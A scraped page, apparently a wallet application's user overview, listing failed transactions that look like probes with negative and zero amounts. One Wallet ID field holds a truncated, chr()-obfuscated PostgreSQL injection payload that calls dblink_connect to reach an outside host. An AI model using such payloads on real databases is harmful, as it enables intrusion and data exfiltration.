USER OVERVIEW
User ID
User Name SODPQAAH
Withdrawal Balance

Transactions

# Date Wallet ID Amount Status Action
221 2025-04-22 18:42:36 sOdPqaAH-446-Wallet 0.00 Failed -
222 2025-04-22 18:42:34 sOdPqaAH-446-Wallet 1.00 Failed -
223 2025-04-22 18:42:18 sOdPqaAH-446-Wallet -1.00 Failed -
224 2025-04-22 18:42:16 sOdPqaAH-446-Wallet 1.00 Failed -
225 2025-04-22 18:42:14 sOdPqaAH-446-Wallet -1.00 Failed -
226 2025-04-22 18:42:12 sOdPqaAH-446-Wallet 1.00 Failed -
227 2025-04-22 18:42:11 sOdPqaAH-446-Wallet -1.00 Failed -
228 2025-04-22 18:42:09 sOdPqaAH-446-Wallet 0.00 Failed -
229 2025-04-22 18:42:07 sOdPqaAH-446-Wallet -1.00 Failed -
230 2025-04-22 18:42:07 cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(112)||chr(115)||chr 3.00 Failed -